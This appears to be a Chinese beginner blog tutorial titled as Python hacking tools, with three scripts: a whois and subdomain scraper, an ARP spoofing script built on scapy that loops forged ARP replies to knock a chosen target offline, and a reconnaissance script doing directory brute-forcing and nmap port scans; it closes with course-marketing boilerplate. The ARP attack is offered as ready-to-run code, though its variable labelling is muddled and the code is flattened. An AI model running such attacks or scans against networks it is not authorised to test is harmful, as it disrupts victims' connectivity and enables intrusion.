零基础Python黑客工具入门

前言

为了满足新手对Python的追求,特写了三个初级Python入门工具。第一期写了三个初级工具,希望新手看完以后可以对Python的脚本有一个基本了解。

一件套:pythond requests模块,构造一个whois信息收集器;

二件套:Python编写一个arp断网攻击;

三件套:目录信息收集。

一件套前言: 带给想写项目但无从下手的朋友们,这些脚本都比较容易理解

简单梳理一下此工具需要具备哪些功能。脚本获取信息如下:

IP信息

子域名

备案

注册人

邮箱

地址

电话

DNS

具体操作如下:

我们要用到的模块是requests

python环境:py3

安装方法:

pip install requests或python steup.py install

通过http://site.ip138.com来进行查询

http://site.ip138.com/输入你要查询的域名/domain.html #这个目录用于查询IP解析记录

htp://site.ip138.com/输入你要查询的域名/beian.html #这个用于查询子域名

http://site.ip138.com/输入你要查询的域名/whois.html #这个用于进行whois查询

好了现在我们开始构造我们的代码,代码里面有详细的注释

#首先我们要导入requests模块和bs4模块里的BeautifulSoup和time模块import requestsimport timefrom bs4 import BeautifulSoup#设置好开始时间点strat=time.time()def chax():  #询问用户要查询的域名  lid=input('请输入你要查询的域名:')  #设置浏览器头过反爬  head={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}  #设置好url  url="http://site.ip138.com/{}/".format(lid)  urldomain="http://site.ip138.com/{}/domain.htm".format(lid)  url2="http://site.ip138.com/{}/beian.htm".format(lid)  url3="http://site.ip138.com/{}/whois.htm".format(lid)  #打开网页  rb=requests.get(url,headers=head)  rb1=requests.get(urldomain,headers=head)  rb2=requests.get(url2,headers=head)  rb3=requests.get(url3,headers=head)  #获取内容并用html的方式返回  gf=BeautifulSoup(rb.content,'html.parser')  print('[+]IP解析记录')  #读取内容里的p标签  for x in gf.find_all('p'):    #使用text的内容返回    link=x.get_text()    print(link)gf1=BeautifulSoup(rb1.content,'html.parser')print('[+]子域名查询')for v in gf1.find_all('p'):  link2=v.get_text()  print(link2)gf2=BeautifulSoup(rb2.content,'html.parser')print('[+]备案查询')for s  in gf2.find_all('p'):  link3=s.get_text()  print(link3)gf3=BeautifulSoup(rb3.content,'html.parser')print('[+]whois查询')for k in gf3.find_all('p'):  link4=k.get_text()  print(link4)chax()end=time.time()print('查询耗时:',end-strat)

在这里插入图片描述

二件套: 使用python编写一个arp断网攻击

你们知道arp攻击的原理吗?如果不知道不要紧,下面开始介绍

arp攻击原理:

通过伪造IP地址与MAC地址实现ARP欺骗,在网络发送大量ARP通信量。攻击者只要持续不断发送arp包就能造成中间人攻击或者断网攻击。(PS:我们只需要scapy里的一些参数就可以实现)

scapy介绍:

Scapy是一个Python程序,使用户能够发送,嗅探和剖析和伪造网络数据包。此功能允许构建可以探测,扫描或攻击网络的工具。

换句话说,Scapy是一个功能强大的交互式数据包处理程序。它能够伪造或解码大量协议的数据包,在线上发送,捕获,匹配请求和回复等等。Scapy可以轻松处理大多数经典任务,如扫描,追踪,探测,单元测试,攻击或网络发现。它可以替代hping,arpspoof,arp-sk,arping,pf,甚至是Nmap,tcpdump和tshark的某些部分。scapy的一个小例子:

ps:scapy正确的食用手册请认真看完介绍和部分基础:【传送门】

安装scapy:

py2安装方法:

pip install scapy

py3安装方法:

pip install scapy3

更多的安装方法:【传送门】

我的系统环境是:Kali Linux下

各位读者可以考虑一些使用以下系统环境:

Centos

Ubuntu

Mac os

ps:尽量不要使用windows,windows会报错!

缺少windows.dll,具体这个dll安装后会不会又报错官方没给出答复

编写攻击的脚本: Ether是构造网络数据包 ARP进行ARP攻击 sendp进行发包

  import osimport sysfrom scapy.layers.l2 import getmacbyipfrom scapy.all import (  Ether,  ARP,  sendp)        #执行查看IP的命令ifconfig=os.system('ifconfig')print ifconfiggmac=raw_input('Please enter gateway IP:')liusheng=raw_input('Please enter your IP:')liusrc=raw_input('Please enter target IP:')try:    #获取目标的mac  tg=getmacbyip(liusrc)  print tgexcept Exception , f:    print '[-]{}'.format(f)    exit()def arpspoof():  try:    eth=Ether()    arp=ARP(        op="is-at", #arp响应        hwsrc=gmac, #网关mac        psrc=liusheng,#网关IP        hwdst=tg,#目标Mac        pdst=liusrc#目标IP    )    #对配置进行输出    print ((eth/arp).show())    #开始发包    sendp(eth/arp,inter=2,loop=1)  except Exception ,g:      print '[-]{}'.format(g)      exit()arpspoof()

在这里插入图片描述
从受害者角度看

在这里插入图片描述
三件套: 想要挖web漏洞就必须做好前面的信息收集

下面我们来写一个收集信息的脚本。

准备:

安装好requests,bs4模块: pip install requests pip install bs4 或者去下载好对应的模块压缩包 然后找到steup.py执行python steup.py install

思路: 使用requests.headers()获取http头部信息 通过htp响应码来判断robots是否存在 通过http响应码判断存在的目录 通过nmap判断开放的端口(PS:这里我是使用os模块来进行nmap命令扫描)我这边的nmap模块一调用,nmap就会出现停止运行 通过爬取某网站获得对应的whois,IP反查域名的信息。

开始:

import requestsimport osimport socketfrom bs4 import BeautifulSoupimport time#获取http指纹def Webfingerprintcollection():  global lgr  lgr=input('请输入目标域名:')  url="http://{}".format(lgr)  header={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}  r=requests.get(url,headers=header)  xyt=r.headers  for key in xyt:      print(key,':',xyt[key])Webfingerprintcollection()print('================================================')#判断有无robots.txtdef robots():  urlsd="http://{}/robots.txt".format(lgr)  header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}  gf=requests.get(urlsd,headers=header,timeout=8)  if gf.status_code == 200:      print('robots.txt存在')      print('[+]该站存在robots.txt',urlsd)  else:      print('[-]没有robots.txt')robots()print("=================================================")#目录扫描def Webdirectoryscanner():  dict=open('build.txt','r',encoding='utf-8').read().split('\n')  for xyt in dict:      try:        header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}        urljc="http://"+lgr+"{}".format(xyt)        rvc=requests.get(urljc,headers=header,timeout=8)        if rvc.status_code == 200:            print('[*]',urljc)      except:          print('[-]远程主机强迫关闭了一个现有的连接')Webdirectoryscanner()print("=====================================================")s = socket.gethostbyname(lgr)#端口扫描def portscanner():  o=os.system('nmap {} program'.format(s))  print(o)portscanner()print('======================================================')#whois查询def whois():   heads={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}   urlwhois="http://site.ip138.com/{}/whois.htm".format(lgr)   rvt=requests.get(urlwhois,headers=heads)   bv=BeautifulSoup(rvt.content,"html.parser")   for line in bv.find_all('p'):       link=line.get_text()       print(link)whois()print('======================================================')#IP反查域名def IPbackupdomainname():    wu=socket.gethostbyname(lgr)    rks="http://site.ip138.com/{}/".format(wu)    rod={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}    sjk=requests.get(rks,headers=rod)    liverou=BeautifulSoup(sjk.content,'html.parser')    for low in liverou.find_all('li'):        bc=low.get_text()        print(bc)IPbackupdomainname()print('=======================================================')

在这里插入图片描述
关于Python技术储备

学好 Python 不论是就业还是做副业赚钱都不错,但要学会 Python 还是要有一个学习规划。最后大家分享一份全套的 Python 学习资料,给那些想学习 Python 的小伙伴们一点帮助!

一、Python所有方向的学习路线

Python所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。在这里插入图片描述

二、Python必备开发工具

在这里插入图片描述

三、精品Python学习书籍

当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
在这里插入图片描述

四、Python视频合集

观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
在这里插入图片描述
在这里插入图片描述

五、实战案例

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
在这里插入图片描述

六、Python练习题

检查学习结果。
在这里插入图片描述

七、面试资料

我们学习Python必然是为了找到高薪的工作,下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料,并且有阿里大佬给出了权威的解答,刷完这一套面试资料相信大家都能找到满意的工作。
在这里插入图片描述
在这里插入图片描述

这份完整版的Python全套学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费

Python资料、技术、课程、解答、咨询也可以直接点击下面名片,添加官方客服斯琪

  • 5
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值